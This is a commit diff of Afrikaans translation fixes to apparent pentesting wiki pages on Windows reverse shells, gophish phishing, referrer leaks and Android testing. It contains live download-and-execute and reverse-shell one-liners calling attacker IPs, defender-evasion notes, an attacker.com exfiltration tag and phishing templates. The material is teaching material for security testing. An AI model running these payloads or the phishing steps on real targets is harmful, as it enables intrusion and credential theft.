Translated ['src/generic-hacking/reverse-shells/windows.md', 'src/generi

This commit is contained in:
Translator 2025-02-04 18:49:24 +00:00
parent ccf00cb78a
commit d6235b3225
23 changed files with 513 additions and 503 deletions

View File

@ -82,7 +82,7 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
```
Proses wat netwerkoproep uitvoer: **powershell.exe**\
Payload op skyf geskryf: **NEE** (_ten minste nêrens waar ek kon vind met procmon !_ )
Payload op skyf geskryf: **NEE** (_ten minste nêrens waar ek met procmon kon vind!_)
```bash
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```
@ -219,12 +219,12 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```
**Gedeelte deur verdediger**
**Gedig deur verdediger**
#### Regsvr32 -sct
[**Van hier**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
```markup
```html
<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
@ -249,7 +249,7 @@ set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
```
**Jy kan baie maklik 'n Koadic zombie aflaai en uitvoer met die stager regsvr**
**Jy kan 'n Koadic zombie baie maklik aflaai en uitvoer met die stager regsvr**
## Certutil
@ -263,7 +263,7 @@ Laai 'n B64exe af, dekodeer dit en voer dit uit.
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
```
**Gedig deur verdediger**
**Gedeelte deur verdediger**
## **Cscript/Wscript**
```bash
@ -289,7 +289,7 @@ impacket-smbserver -smb2support kali `pwd`
```bash
\\10.8.0.3\kali\shell.bat
```
**Gedeelte deur verdediger**
**Gedig deur verdediger**
## **MSIExec**
@ -302,7 +302,7 @@ Slachtoffer:
```
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
```
**Gedig**
**Gevind**
## **Wmic**
@ -332,7 +332,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
```
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
```
Jy kan hierdie tegniek gebruik om Toepassing Witlys en Powershell.exe beperkings te omseil. Aangesien jy met 'n PS-skaal gevra sal word.\
Jy kan hierdie tegniek gebruik om Toepassing Witlys en Powershell.exe beperkings te omseil. Aangesien jy met 'n PS-skal gevra sal word.\
Laai net dit af en voer dit uit: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
@ -341,11 +341,11 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
## **CSC**
Kompileer C# kode op die slagoffer masjien.
Kompileer C# kode in die slagoffer masjien.
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
```
Jy kan 'n basiese C# reverse shell van hier aflaai: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
U kan 'n basiese C# reverse shell hier aflaai: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
**Nie gedetekteer nie**
@ -375,11 +375,11 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
In die **Skale** gids, is daar 'n klomp verskillende skale. Om Invoke-_PowerShellTcp.ps1_ af te laai en uit te voer, maak 'n kopie van die skrip en voeg by die einde van die lêer:
In die **Skale** gids, is daar 'n baie verskillende skale. Om Invoke-_PowerShellTcp.ps1_ af te laai en uit te voer, maak 'n kopie van die skrif en voeg by die einde van die lêer:
```
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
```
Begin om die skrip in 'n webbediener te bedien en voer dit aan die slagoffer se kant uit:
Begin om die skrip op 'n webbediener te bedien en voer dit aan die slagoffer se kant uit:
```
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
```
@ -391,7 +391,7 @@ Defender detecteer dit nie as kwaadwillige kode nie (nog, 3/04/2019).
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
Laai af, begin 'n webbediener, begin die luisteraar, en voer dit op die slagoffer se kant uit:
Laai af, begin 'n webbediener, begin die luisteraar, en voer dit aan die slagoffer se kant uit:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
@ -420,7 +420,7 @@ powercat -l -p 443 -i C:\inputfile -rep
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
Skep 'n powershell-lanser, stoor dit in 'n lêer en laai dit af en voer dit uit.
Skep 'n powershell-lancer, stoor dit in 'n lêer en laai dit af en voer dit uit.
```
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
@ -447,7 +447,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
## Meer
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS-konsol met 'n paar offensiewe PS-modules vooraf gelaai (gecyfer)\
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9)[\
WinPWN](https://github.com/SecureThisShit/WinPwn) PS-konsol met 'n paar offensiewe PS-modules en proxy-detektering (IEX)
## Verwysings

View File

@ -22,14 +22,14 @@
### Domeinnaam Variasie Tegnieke
- **Sleutelwoord**: Die domeinnaam **bevat** 'n belangrike **sleutelwoord** van die oorspronklike domein (bv., zelster.com-management.com).
- **gehipen subdomein**: Verander die **punt in 'n hipen** van 'n subdomein (bv., www-zelster.com).
- **geverbinde subdomein**: Verander die **punt in 'n koppelteken** van 'n subdomein (bv., www-zelster.com).
- **Nuwe TLD**: Dieselfde domein met 'n **nuwe TLD** (bv., zelster.org)
- **Homoglyph**: Dit **vervang** 'n letter in die domeinnaam met **letters wat soortgelyk lyk** (bv., zelfser.com).
- **Transposisie:** Dit **ruil twee letters** binne die domeinnaam (bv., zelsetr.com).
- **Singularisering/Pluralisering**: Voeg of verwyder “s” aan die einde van die domeinnaam (bv., zeltsers.com).
- **Enkelvoud/Meervoud**: Voeg "s" by of verwyder dit aan die einde van die domeinnaam (bv., zeltsers.com).
- **Omissie**: Dit **verwyder een** van die letters uit die domeinnaam (bv., zelser.com).
- **Herhaling:** Dit **herhaal een** van die letters in die domeinnaam (bv., zeltsser.com).
- **Vervanging**: Soos homoglyph maar minder stil. Dit vervang een van die letters in die domeinnaam, dalk met 'n letter in die nabye ligging van die oorspronklike letter op die sleutelbord (bv., zektser.com).
- **Vervanging**: Soos homoglyph maar minder stil. Dit vervang een van die letters in die domeinnaam, dalk met 'n letter naby die oorspronklike letter op die sleutelbord (bv., zektser.com).
- **Subdomein**: Introduceer 'n **punt** binne die domeinnaam (bv., ze.lster.com).
- **Invoeging**: Dit **voeg 'n letter** in die domeinnaam in (bv., zerltser.com).
- **Verlies van punt**: Voeg die TLD by die domeinnaam. (bv., zelstercom.com)
@ -83,7 +83,7 @@ Boonop, moenie vergeet dat as die gebruikers **enige webportaal gebruik om toega
Jy kan dit aflaai van [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
Laai dit af en ontspan dit binne `/opt/gophish` en voer `/opt/gophish/gophish` uit.\
Jy sal 'n wagwoord vir die admin gebruiker in poort 3333 in die uitvoer ontvang. Daarom, toegang daartoe en gebruik daardie geloofsbriewe om die admin wagwoord te verander. Jy mag nodig hê om daardie poort na lokaal te tonnel:
Jy sal 'n wagwoord vir die admin gebruiker op poort 3333 in die uitvoer ontvang. Daarom, toegang daartoe en gebruik daardie geloofsbriewe om die admin wagwoord te verander. Jy mag nodig hê om daardie poort na lokaal te tonnel:
```bash
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
```
@ -159,7 +159,7 @@ Wysig `/opt/gophish/config.json` na die volgende (let op die gebruik van https):
}
}
```
**Stel gophish diens op**
**Konfigureer gophish diens**
Om die gophish diens te skep sodat dit outomaties begin kan word en as 'n diens bestuur kan word, kan jy die lêer `/etc/init.d/gophish` met die volgende inhoud skep:
```bash
@ -223,7 +223,7 @@ service gophish stop
### Wag & wees wettig
Hoe ouer 'n domein is, hoe minder waarskynlik is dit dat dit as spam gevang gaan word. Dan moet jy so lank as moontlik wag (ten minste 1 week) voordat die phishing assessering plaasvind. Boonop, as jy 'n bladsy oor 'n reputasionele sektor plaas, sal die reputasie wat verkry word beter wees.
Hoe ouer 'n domein is, hoe minder waarskynlik is dit dat dit as spam gevang gaan word. Dan moet jy so lank as moontlik wag (ten minste 1 week) voor die phishing assessering. Boonop, as jy 'n bladsy oor 'n reputasionele sektor plaas, sal die reputasie wat verkry word beter wees.
Let daarop dat selfs al moet jy 'n week wag, jy alles nou kan klaar konfigureer.
@ -253,7 +253,7 @@ v=DMARC1; p=none
```
### DomainKeys Identified Mail (DKIM)
Jy moet **'n DKIM vir die nuwe domein konfigureer**. As jy nie weet wat 'n DMARC-record is nie [**lees hierdie bladsy**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).
Jy moet **'n DKIM vir die nuwe domein konfigureer**. As jy nie weet wat 'n DMARC-record is nie, [**lees hierdie bladsy**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).
Hierdie tutoriaal is gebaseer op: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
@ -266,8 +266,8 @@ Hierdie tutoriaal is gebaseer op: [https://www.digitalocean.com/community/tutori
### Toets jou e-pos konfigurasie telling
Jy kan dit doen deur [https://www.mail-tester.com/](https://www.mail-tester.com)\
Net toegang tot die bladsy en 'n e-pos na die adres wat hulle jou gee, te stuur:
Jy kan dit doen met [https://www.mail-tester.com/](https://www.mail-tester.com)\
Besoek net die bladsy en stuur 'n e-pos na die adres wat hulle jou gee:
```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
```
@ -289,7 +289,7 @@ Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
dkim=pass header.i=@example.com;
```
### Verwydering van Spamhouse Swartlys
### Verwydering van Spamhouse Swartlys
Die bladsy [www.mail-tester.com](https://www.mail-tester.com) kan jou aandui of jou domein deur spamhouse geblokkeer word. Jy kan versoek dat jou domein/IP verwyder word by: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
@ -301,15 +301,15 @@ Die bladsy [www.mail-tester.com](https://www.mail-tester.com) kan jou aandui of
### Stuurprofiel
- Stel 'n **naam om die** sender profiel te identifiseer
- Besluit vanaf watter rekening jy die phishing e-posse gaan stuur. Voorstelle: _noreply, support, servicedesk, salesforce..._
- Stel 'n **naam om die** senderprofiel te identifiseer
- Besluit vanaf watter rekening jy die phishing-e-posse gaan stuur. Voorstelle: _noreply, support, servicedesk, salesforce..._
- Jy kan die gebruikersnaam en wagwoord leeg laat, maar maak seker om die Ignore Certificate Errors te merk
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
> [!NOTE]
> Dit word aanbeveel om die "**Stuur Toets E-pos**" funksionaliteit te gebruik om te toets of alles werk.\
> Ek sou aanbeveel om **die toets e-posse na 10min e-pos adresse te stuur** om te verhoed dat jy op 'n swartlys geplaas word tydens toetse.
> Ek sou aanbeveel om **die toets e-posse na 10min e-posadresse te stuur** om te verhoed dat jy geblokkeer word terwyl jy toetse doen.
### E-pos Sjabloon
@ -317,7 +317,7 @@ Die bladsy [www.mail-tester.com](https://www.mail-tester.com) kan jou aandui of
- Skryf dan 'n **onderwerp** (niks vreemd nie, net iets wat jy sou verwag om in 'n gewone e-pos te lees)
- Maak seker jy het "**Voeg Volgbeeld**" gemerk
- Skryf die **e-pos sjabloon** (jy kan veranderlikes gebruik soos in die volgende voorbeeld):
```markup
```html
<html>
<head>
<title></title>
@ -338,7 +338,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
Let daarop dat **om die geloofwaardigheid van die e-pos te verhoog**, dit aanbeveel word om 'n handtekening van 'n e-pos van die kliënt te gebruik. Voorstelle:
- Stuur 'n e-pos na 'n **nie-bestaande adres** en kyk of die antwoord enige handtekening het.
- Soek na **publieke e-posse** soos info@ex.com of press@ex.com of public@ex.com en stuur hulle 'n e-pos en wag vir die antwoord.
- Soek na **openbare e-posse** soos info@ex.com of press@ex.com of public@ex.com en stuur hulle 'n e-pos en wag vir die antwoord.
- Probeer om **'n geldige ontdekte** e-pos te kontak en wag vir die antwoord.
![](<../../images/image (80).png>)
@ -356,8 +356,8 @@ Let daarop dat **om die geloofwaardigheid van die e-pos te verhoog**, dit aanbev
![](<../../images/image (826).png>)
> [!NOTE]
> Gewoonlik sal jy die HTML-kode van die bladsy moet wysig en 'n paar toetse in plaaslike omgewing doen (miskien met 'n Apache-bediener) **tot jy hou van die resultate.** Skryf dan daardie HTML-kode in die boks.\
> Let daarop dat as jy **sommige statiese hulpbronne** vir die HTML nodig het (miskien sommige CSS en JS bladsye) jy dit in _**/opt/gophish/static/endpoint**_ kan stoor en dit dan kan benader vanaf _**/static/\<filename>**_
> Gewoonlik sal jy die HTML-kode van die bladsy moet wysig en 'n paar toetse in plaaslik moet doen (miskien met 'n Apache-bediener) **totdat jy hou van die resultate.** Skryf dan daardie HTML-kode in die boks.\
> Let daarop dat as jy **sommige statiese hulpbronne** vir die HTML moet **gebruik** (miskien sommige CSS en JS bladsye) jy dit in _**/opt/gophish/static/endpoint**_ kan stoor en dit dan kan benader vanaf _**/static/\<filename>**_
> [!NOTE]
> Vir die omleiding kan jy **die gebruikers na die wettige hoofwebblad** van die slagoffer omlei, of hulle na _/static/migration.html_ omlei, byvoorbeeld, 'n **draaiwiel (**[**https://loading.io/**](https://loading.io)**) vir 5 sekondes plaas en dan aandui dat die proses suksesvol was**.
@ -373,7 +373,7 @@ Let daarop dat **om die geloofwaardigheid van die e-pos te verhoog**, dit aanbev
Laastens, skep 'n veldtog deur 'n naam, die e-pos sjabloon, die landing page, die URL, die sending profiel en die groep te kies. Let daarop dat die URL die skakel sal wees wat aan die slagoffers gestuur word.
Let daarop dat die **Sending Profile toelaat om 'n toets e-pos te stuur om te sien hoe die finale phishing e-pos sal lyk**:
Let daarop dat die **Sending Profile toelaat om 'n toets e-pos te stuur om te sien hoe die finale phishing e-pos gaan lyk**:
![](<../../images/image (192).png>)
@ -408,13 +408,13 @@ Die vorige aanval is redelik slim aangesien jy 'n werklike webwerf naboots en di
Hierdie is waar gereedskap soos [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) en [**muraena**](https://github.com/muraenateam/muraena) nuttig is. Hierdie gereedskap sal jou toelaat om 'n MitM-agtige aanval te genereer. Basies werk die aanvalle soos volg:
1. Jy **naboots die aanmeld** vorm van die werklike webblad.
2. Die gebruiker **stuur** sy **akkrediteer** na jou vals bladsy en die gereedskap stuur dit na die werklike webblad, **om te kyk of die akkrediteer werk**.
2. Die gebruiker **stuur** sy **akkrediteer** na jou valse bladsy en die gereedskap stuur dit na die werklike webblad, **om te kyk of die akkrediteer werk**.
3. As die rekening met **2FA** geconfigureer is, sal die MitM-bladsy daarna vra en sodra die **gebruiker dit invoer**, sal die gereedskap dit na die werklike webblad stuur.
4. Sodra die gebruiker geverifieer is, sal jy (as aanvaller) **die akkrediteer, die 2FA, die koekie en enige inligting** van elke interaksie wat jy terwyl die gereedskap 'n MitM uitvoer, gevang het.
### Via VNC
Wat as jy in plaas van **die slagoffer na 'n kwaadwillige bladsy te stuur** wat dieselfde lyk as die oorspronklike, hom na 'n **VNC-sessie met 'n blaaskans wat aan die werklike webblad gekoppel is** stuur? Jy sal in staat wees om te sien wat hy doen, die wagwoord, die MFA wat gebruik word, die koekies...\
Wat as jy in plaas van **die slagoffer na 'n kwaadwillige bladsy** met dieselfde voorkoms as die oorspronklike, hom na 'n **VNC-sessie met 'n blaaskans wat aan die werklike webblad gekoppel is** stuur? Jy sal in staat wees om te sien wat hy doen, die wagwoord, die MFA wat gebruik word, die koekies...\
Jy kan dit doen met [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
## Detecting the detection
@ -422,13 +422,13 @@ Jy kan dit doen met [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
Dit is duidelik dat een van die beste maniere om te weet of jy betrap is, is om **jou domein in swartlyste te soek**. As dit gelys word, was jou domein op een of ander manier as verdag beskou.\
Een maklike manier om te kyk of jou domein in enige swartlys verskyn, is om [https://malwareworld.com/](https://malwareworld.com) te gebruik.
Daar is egter ander maniere om te weet of die slagoffer **aktief op soek is na verdagte phishingaktiwiteite in die natuur** soos verduidelik in:
Daar is egter ander maniere om te weet of die slagoffer **aktief op soek is na verdagte phishingaktiwiteite in die natuur**, soos verduidelik in:
{{#ref}}
detecting-phising.md
{{#endref}}
Jy kan **'n domein met 'n baie soortgelyke naam** as die slagoffer se domein **koop en/of 'n sertifikaat genereer** vir 'n **subdomein** van 'n domein wat deur jou beheer word **wat die** **sleutelwoord** van die slagoffer se domein bevat. As die **slagoffer** enige soort **DNS of HTTP-interaksie** met hulle uitvoer, sal jy weet dat **hy aktief op soek is** na verdagte domeine en jy sal baie versigtig moet wees.
Jy kan **'n domein met 'n baie soortgelyke naam** as die slagoffer se domein **koop en/of 'n sertifikaat genereer** vir 'n **subdomein** van 'n domein wat deur jou beheer word **wat die** **sleutelwoord** van die slagoffer se domein bevat. As die **slagoffer** enige soort **DNS of HTTP-interaksie** met hulle uitvoer, sal jy weet dat **hy aktief op soek is** na verdagte domeine en jy sal baie stil moet wees.
### Evaluate the phishing

View File

@ -2,11 +2,11 @@
# Verwysingskoppe en beleid
Verwysing is die kop wat deur blaaiers gebruik word om aan te dui watter die vorige bladsy was.
Verwysing is die kop wat deur blaaiers gebruik word om aan te dui watter die vorige bladsy was wat besoek is.
## Sensitiewe inligting gelekt
As daar op 'n stadium binne 'n webblad enige sensitiewe inligting op 'n GET-versoekparameters geleë is, as die bladsy skakels na eksterne bronne bevat of 'n aanvaller in staat is om die gebruiker te laat besoek of voor te stel (sosiale ingenieurswese) 'n URL wat deur die aanvaller beheer word. Dit kan in staat wees om die sensitiewe inligting binne die laaste GET-versoek te eksfiltreer.
As daar op 'n stadium binne 'n webblad enige sensitiewe inligting op 'n GET-versoekparameters geleë is, as die bladsy skakels na eksterne bronne bevat of 'n aanvaller in staat is om die gebruiker te laat besoek 'n URL wat deur die aanvaller beheer word (sosiale ingenieurswese). Dit kan in staat wees om die sensitiewe inligting binne die laaste GET-versoek te eksfiltreer.
## Versagting
@ -24,7 +24,7 @@ Referrer-Policy: unsafe-url
## Teen-Mitigering
Jy kan hierdie reël oorskry deur 'n HTML meta-tag te gebruik (die aanvaller moet 'n HTML-inspuiting benut):
```markup
```html
<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">
```

View File

@ -13,14 +13,14 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Dit is die hoofgereedskap wat jy nodig het om met 'n Android-toestel (geëmuleer of fisies) te verbind.\
**ADB** stel jou in staat om toestelle te beheer, hetsy oor **USB** of **Netwerk** vanaf 'n rekenaar. Hierdie nut is in staat om **lêers** in beide rigtings te **kopieer**, **toepassings** te **installeer** en **verwyder**, **skulpopdragte** uit te voer, **data** te **rugsteun**, **logs** te **lees**, onder andere funksies.
**ADB** stel jou in staat om toestelle te beheer, hetsy oor **USB** of **Netwerk** vanaf 'n rekenaar. Hierdie nut kan die **kopieer** van lêers in beide rigtings, **installasie** en **verwydering** van toepassings, **uitvoering** van skulpopdragte, **rugsteun** van data, **lees** van logs, onder andere funksies, moontlik maak.
Kyk na die volgende lys van [**ADB Opdragte**](adb-commands.md) om te leer hoe om adb te gebruik.
## Smali
Soms is dit interessant om die **toepassingkode** te **wysig** om toegang te verkry tot **verborge inligting** (miskien goed obfuskeerde wagwoorde of vlae). Dan kan dit interessant wees om die apk te dekompileer, die kode te wysig en dit weer te compileer.\
[**In hierdie tutoriaal** kan jy **leer hoe om 'n APK te dekompileer, Smali-kode te wysig en die APK** met die nuwe funksionaliteit **weer te compileer**](smali-changes.md). Dit kan baie nuttig wees as 'n **alternatief vir verskeie toetse tydens die dinamiese analise** wat gaan aangebied word. Dan, **hou altyd hierdie moontlikheid in gedagte**.
Soms is dit interessant om die **toepassingkode** te **wysig** om toegang te verkry tot **verborge inligting** (miskien goed obfuskeerde wagwoorde of vlae). Dan kan dit interessant wees om die apk te dekompileer, die kode te wysig en dit weer te kompileren.\
[**In hierdie tutoriaal** kan jy **leer hoe om 'n APK te dekompileer, Smali-kode te wysig en die APK** met die nuwe funksionaliteit te kompileren](smali-changes.md). Dit kan baie nuttig wees as 'n **alternatief vir verskeie toetse tydens die dinamiese analise** wat gaan aangebied word. Dan, **hou altyd hierdie moontlikheid in gedagte**.
## Ander interessante truuks
@ -36,7 +36,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
```
- Kombineer alle splits en basis apks met [APKEditor](https://github.com/REAndroid/APKEditor):
- Kombineer alle splits en basis apk's met [APKEditor](https://github.com/REAndroid/APKEditor):
```bash
mkdir splits
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@ -56,28 +56,28 @@ Net deur na die **strings** van die APK te kyk, kan jy soek na **wagwoorde**, **
**Firebase**
Gee spesiale aandag aan **firebase URL's** en kyk of dit sleg geconfigureer is. [Meer inligting oor wat FIrebase is en hoe om dit te benut hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
Gee spesiale aandag aan **firebase URL's** en kyk of dit sleg geconfigureer is. [Meer inligting oor wat Firebase is en hoe om dit te benut hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Basiese begrip van die toepassing - Manifest.xml, strings.xml
Die **ondersoek van 'n toepassing se \_Manifest.xml**_\*\* en \*\*_**strings.xml**\_\*\* lêers kan potensiële sekuriteitskwesbaarhede onthul\*\*. Hierdie lêers kan toegang verkry word met behulp van decompilers of deur die APK-lêer se uitbreiding na .zip te hernoem en dit dan uit te pak.
Die **ondersoek van 'n toepassing se \_Manifest.xml**_\*\* en \*\*_**strings.xml**\_\*\* lêers kan potensiële sekuriteitskwesbaarhede onthul\*\*. Hierdie lêers kan toegang verkry word met behulp van decompilers of deur die APK-lêernaam te hernoem na .zip en dit dan uit te pak.
**Kwesbaarhede** wat in die **Manifest.xml** geïdentifiseer is, sluit in:
- **Debuggable Toepassings**: Toepassings wat as debuggable (`debuggable="true"`) in die _Manifest.xml_ lêer gestel is, stel 'n risiko omdat dit verbindings toelaat wat tot uitbuiting kan lei. Vir verdere begrip oor hoe om debuggable toepassings te benut, verwys na 'n tutoriaal oor die vind en benutting van debuggable toepassings op 'n toestel.
- **Debugbare Toepassings**: Toepassings wat as debuggable (`debuggable="true"`) in die _Manifest.xml_ lêer gestel is, stel 'n risiko omdat dit verbindings toelaat wat tot uitbuiting kan lei. Vir verdere begrip oor hoe om debuggable toepassings te benut, verwys na 'n tutoriaal oor die vind en benutting van debuggable toepassings op 'n toestel.
- **Back-up Instellings**: Die `android:allowBackup="false"` attribuut moet eksplisiet gestel word vir toepassings wat met sensitiewe inligting werk om ongeoorloofde databack-ups via adb te voorkom, veral wanneer usb-debugging geaktiveer is.
- **Netwerk Sekuriteit**: Aangepaste netwerk sekuriteit konfigurasies (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ kan sekuriteitsbesonderhede soos sertifikaat pins en HTTP-verkeer instellings spesifiseer. 'n Voorbeeld is om HTTP-verkeer vir spesifieke domeine toe te laat.
- **Netwerk Sekuriteit**: Pasgemaakte netwerk sekuriteit konfigurasies (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ kan sekuriteitsbesonderhede soos sertifikaat pins en HTTP-verkeer instellings spesifiseer. 'n Voorbeeld is om HTTP-verkeer vir spesifieke domeine toe te laat.
- **Gedeelde Aktiwiteite en Dienste**: Die identifisering van gedeelde aktiwiteite en dienste in die manifest kan komponente uitlig wat misbruik kan word. Verdere analise tydens dinamiese toetsing kan onthul hoe om hierdie komponente te benut.
- **Inhoud Verskaffers en LêerVerskaffers**: Blootgestelde inhoud verskaffers kan ongeoorloofde toegang of wysiging van data toelaat. Die konfigurasie van LêerVerskaffers moet ook ondersoek word.
- **Uitsending Ontvangers en URL Skemas**: Hierdie komponente kan benut word vir uitbuiting, met spesiale aandag aan hoe URL skemas bestuur word vir invoer kwesbaarhede.
- **SDK Weergawes**: Die `minSdkVersion`, `targetSDKVersion`, en `maxSdkVersion` attribuut dui die ondersteunde Android weergawes aan, wat die belangrikheid beklemtoon om nie verouderde, kwesbare Android weergawes vir sekuriteitsredes te ondersteun nie.
Uit die **strings.xml** lêer kan sensitiewe inligting soos API sleutels, aangepaste skemas, en ander ontwikkelaar notas ontdek word, wat die behoefte aan sorgvuldige hersiening van hierdie hulpbronne beklemtoon.
Uit die **strings.xml** lêer kan sensitiewe inligting soos API sleutels, pasgemaakte skemas, en ander ontwikkelaar notas ontdek word, wat die behoefte aan sorgvuldige hersiening van hierdie hulpbronne beklemtoon.
### Tapjacking
**Tapjacking** is 'n aanval waar 'n **kwaadwillige** **toepassing** geloods word en **homself bo-op 'n slagoffer toepassing posisioneer**. Sodra dit die slagoffer app sigbaar obscuur, is sy gebruikerskoppelvlak ontwerp om die gebruiker te mislei om met dit te interaksie, terwyl dit die interaksie aan die slagoffer app oorgedra.\
In werklikheid, dit is **blindings die gebruiker van weet dat hulle eintlik aksies op die slagoffer app uitvoer**.
In werklikheid, dit is **blind die gebruiker van kennis dat hulle eintlik aksies op die slagoffer app uitvoer**.
Vind meer inligting in:
@ -87,7 +87,7 @@ tapjacking.md
### Taak Hijacking
'n **aktiwiteit** met die **`launchMode`** gestel op **`singleTask` sonder enige `taskAffinity`** gedefinieer is kwesbaar vir taak hijacking. Dit beteken dat 'n **toepassing** geïnstalleer kan word en as dit voor die werklike toepassing geloods word, kan dit **die taak van die werklike toepassing oorneem** (sodat die gebruiker met die **kwaadwillige toepassing interaksie het terwyl hy dink hy gebruik die werklike een**).
'n **aktiwiteit** met die **`launchMode`** gestel op **`singleTask`** sonder enige `taskAffinity` gedefinieer is kwesbaar vir taak hijacking. Dit beteken dat 'n **toepassing** geïnstalleer kan word en as dit voor die werklike toepassing geloods word, kan dit **die taak van die werklike toepassing oorneem** (sodat die gebruiker met die **kwaadwillige toepassing interaksie het terwyl hy dink hy gebruik die werklike een**).
Meer inligting in:
@ -99,7 +99,7 @@ android-task-hijacking.md
**Interne Stoor**
In Android, lêers **gestoor** in **interne** stoor is **ontwerp** om **uitsluitend** deur die **app** wat dit **gecreëer** het, **toeganklik** te wees. Hierdie sekuriteitsmaatreël word **afgedwing** deur die Android bedryfstelsel en is oor die algemeen voldoende vir die sekuriteitsbehoeftes van die meeste toepassings. Tog gebruik ontwikkelaars soms modi soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om **toegang** tot lêers tussen verskillende toepassings toe te laat. Tog **beperk** hierdie modi **nie toegang** tot hierdie lêers deur ander toepassings nie, insluitend potensieel kwaadwillige.
